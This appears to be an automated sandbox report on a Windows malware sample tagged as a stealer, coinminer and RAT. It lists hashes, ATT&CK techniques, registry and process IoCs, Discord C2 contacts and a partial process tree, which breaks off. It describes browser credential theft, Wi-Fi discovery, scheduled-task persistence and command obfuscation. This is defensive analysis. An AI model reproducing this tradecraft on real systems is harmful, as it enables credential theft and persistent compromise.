a5a1cdab764caaa12e85c9cd99fb29c3ce9a336871801484ba1513c9a0288f65

Analysis

max time kernel
149s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/08/2026, 03:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Size 40.1MB
Sample260816-eew23acn7z
SHA256 a5a1cdab764caaa12e85c9cd99fb29c3ce9a336871801484ba1513c9a0288f65
MD5 b3a739730b31ec5f9f193665b734d157
SHA1 5e064ee4af80f8e6f7dc098364dc0f6abb8cf326
SHA512 ceca2f5cb38b1ad11dc622022b28d7d0e6120e2b2c1773630723256653b7bc17e8f50b39128b768e4ca28406c7cc8aa4e45b23872ee581619f2b1833f9f835b1
SSDEEP 393216:f1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYfN:fMguj8Q4VfvFqFTrYynufXw
TLSH
T11E979C0773E60195E5B7E2388AA65507D773B8634331CBDF329D06151FABAE09A7E320
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2332	powershell.exe
2908	powershell.exe
3660	powershell.exe
3768	powershell.exe
4464	powershell.exe
4356	powershell.exe
3636	powershell.exe
2932	powershell.exe
4376	powershell.exe
4760	powershell.exe
3768	powershell.exe
3888	powershell.exe
5116	powershell.exe
3664	powershell.exe
4668	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
21	discord.com
22	discord.com
23	discord.com
24	discord.com

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4296	cmd.exe
4908	cmd.exe
1840	cmd.exe
1708	cmd.exe
4084	cmd.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
19	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\SysWOW64\MicrosoftEdgeUpdate.exe	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Windows\SysWOW64\MicrosoftEdgeUpdate.exe	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 26 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3420	cmd.exe
3272	cmd.exe
3900	cmd.exe
2760	cmd.exe
2940	cmd.exe
4532	cmd.exe
1100	cmd.exe
2988	cmd.exe
368	cmd.exe
3640	cmd.exe
4764	cmd.exe
1740	cmd.exe
2876	cmd.exe
3572	cmd.exe
3924	cmd.exe
2052	cmd.exe
4152	cmd.exe
5008	cmd.exe
4596	cmd.exe
4192	cmd.exe
4924	cmd.exe
2380	cmd.exe
3808	cmd.exe
3412	cmd.exe
3980	cmd.exe
436	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4764	cmd.exe
4944	netsh.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
2628	taskkill.exe
380	taskkill.exe
4624	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2396	schtasks.exe
464	schtasks.exe
3384	schtasks.exe
2184	schtasks.exe
1384	schtasks.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
4760	powershell.exe
4760	powershell.exe
3768	powershell.exe
3768	powershell.exe
3848	powershell.exe
3848	powershell.exe
4356	powershell.exe
4356	powershell.exe
3660	powershell.exe
3660	powershell.exe
3888	powershell.exe
3888	powershell.exe
3636	powershell.exe
2932	powershell.exe
2932	powershell.exe
3636	powershell.exe
3768	powershell.exe
4376	powershell.exe
4376	powershell.exe
3768	powershell.exe
5116	powershell.exe
5116	powershell.exe
2332	powershell.exe
2332	powershell.exe
4464	powershell.exe
4464	powershell.exe
3664	powershell.exe
3664	powershell.exe
4668	powershell.exe
4668	powershell.exe
2908	powershell.exe
2908	powershell.exe
2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeDebugPrivilege	3768	powershell.exe
Token: SeDebugPrivilege	4624	taskkill.exe
Token: SeDebugPrivilege	3848	powershell.exe
Token: SeDebugPrivilege	4356	powershell.exe
Token: SeDebugPrivilege	3660	powershell.exe
Token: SeDebugPrivilege	3888	powershell.exe
Token: SeDebugPrivilege	3636	powershell.exe
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeDebugPrivilege	4376	powershell.exe
Token: SeDebugPrivilege	3768	powershell.exe
Token: SeDebugPrivilege	5116	powershell.exe
Token: SeDebugPrivilege	2332	powershell.exe
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeDebugPrivilege	2628	taskkill.exe
Token: SeDebugPrivilege	3664	powershell.exe
Token: SeDebugPrivilege	4668	powershell.exe
Token: SeDebugPrivilege	380	taskkill.exe
Token: SeDebugPrivilege	2908	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4868 wrote to memory of 2408	4868	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	85
PID 2408 wrote to memory of 436	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	86
PID 436 wrote to memory of 3296	436	cmd.exe	88
PID 3296 wrote to memory of 1792	3296	net.exe	89
PID 2408 wrote to memory of 1708	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	90
PID 1708 wrote to memory of 4100	1708	cmd.exe	92
PID 2408 wrote to memory of 2760	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	93
PID 2760 wrote to memory of 2396	2760	cmd.exe	95
PID 2408 wrote to memory of 2940	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	96
PID 2940 wrote to memory of 4760	2940	cmd.exe	98
PID 2408 wrote to memory of 4532	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	101
PID 4532 wrote to memory of 3768	4532	cmd.exe	103
PID 2408 wrote to memory of 1100	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	104
PID 1100 wrote to memory of 4624	1100	cmd.exe	106
PID 2408 wrote to memory of 1740	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	108
PID 1740 wrote to memory of 464	1740	cmd.exe	110
PID 2408 wrote to memory of 4596	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	111
PID 4596 wrote to memory of 5068	4596	cmd.exe	114
PID 2408 wrote to memory of 4192	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	116
PID 4192 wrote to memory of 4356	4192	cmd.exe	120
PID 2408 wrote to memory of 4084	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	121
PID 4084 wrote to memory of 3256	4084	cmd.exe	123
PID 2408 wrote to memory of 3420	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	124
PID 3420 wrote to memory of 3888	3420	cmd.exe	126
PID 2408 wrote to memory of 4924	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	127
PID 4924 wrote to memory of 3384	4924	cmd.exe	129
PID 2408 wrote to memory of 2380	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	130
PID 2380 wrote to memory of 4920	2380	cmd.exe	132
PID 2408 wrote to memory of 3272	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	134
PID 3272 wrote to memory of 2932	3272	cmd.exe	137
PID 3636 wrote to memory of 1480	3636	powershell.exe	138
PID 1480 wrote to memory of 2828	1480	csc.exe	139
PID 2408 wrote to memory of 4296	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	140
PID 4296 wrote to memory of 3720	4296	cmd.exe	142
PID 2408 wrote to memory of 3808	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	143
PID 3808 wrote to memory of 2184	3808	cmd.exe	145
PID 2408 wrote to memory of 2876	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	146
PID 2876 wrote to memory of 3032	2876	cmd.exe	148
PID 2408 wrote to memory of 2988	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	151
PID 2988 wrote to memory of 4376	2988	cmd.exe	153
PID 2408 wrote to memory of 4908	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	154
PID 4908 wrote to memory of 1992	4908	cmd.exe	156
PID 2408 wrote to memory of 3412	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	157
PID 3412 wrote to memory of 5116	3412	cmd.exe	160
PID 2408 wrote to memory of 3900	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	161
PID 3900 wrote to memory of 1384	3900	cmd.exe	163
PID 2408 wrote to memory of 3980	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	164
PID 3980 wrote to memory of 1248	3980	cmd.exe	166
PID 2408 wrote to memory of 3572	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	169
PID 3572 wrote to memory of 2332	3572	cmd.exe	172
PID 4464 wrote to memory of 5048	4464	powershell.exe	174
PID 5048 wrote to memory of 2768	5048	csc.exe	175
PID 2408 wrote to memory of 1840	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	177
PID 1840 wrote to memory of 4348	1840	cmd.exe	179
PID 2408 wrote to memory of 3924	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	180
PID 3924 wrote to memory of 2628	3924	cmd.exe	182
PID 2408 wrote to memory of 368	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	183
PID 368 wrote to memory of 3664	368	cmd.exe	185
PID 2408 wrote to memory of 2052	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	186
PID 2052 wrote to memory of 4668	2052	cmd.exe	188
PID 2408 wrote to memory of 3640	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	191
PID 3640 wrote to memory of 380	3640	cmd.exe	193
PID 2408 wrote to memory of 4764	2408	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	194
PID 4764 wrote to memory of 4944	4764	cmd.exe	196

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4868
- C:\Users\Admin\AppData\Local\Temp\2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
  C:\Users\Admin\AppData\Local\Temp\2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe C:\snapshot\stealer\index.js --hidden
  2⤵
  - Checks computer location settings
  - Drops file in System32 directory
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:436
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3296
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
